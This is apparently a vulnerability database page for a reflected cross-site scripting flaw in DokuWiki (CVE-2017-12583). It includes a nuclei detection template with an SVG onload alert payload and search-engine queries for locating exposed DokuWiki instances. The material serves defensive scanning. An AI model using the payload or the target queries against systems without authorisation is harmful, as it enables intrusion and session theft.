HexBrain

Browse / CVEs / CVE-2017-12583

CVE-2017-12583· dokuwiki / dokuwiki· CWE-79

DokuWiki - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of DokuWiki or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>
Positive when: contains "Unable to parse at parameter \"<svg onload=alert(document.do…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12583 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-12583

info:
  name: DokuWiki - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DokuWiki or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/splitbrain/dokuwiki/issues/2061
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12583
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-12583
    cwe-id: CWE-79
    epss-score: 0.03253
    epss-percentile: 0.88448
    cpe: cpe:2.3:a:dokuwiki:dokuwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dokuwiki
    product: dokuwiki
    shodan-query:
      - http.title:"DokuWiki"
      - http.title:"dokuwiki"
      - cpe:"cpe:2.3:a:dokuwiki:dokuwiki"
    fofa-query: title="dokuwiki"
    google-query: intitle:"dokuwiki"
  tags: cve,cve2017,xss,dokuwiki,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from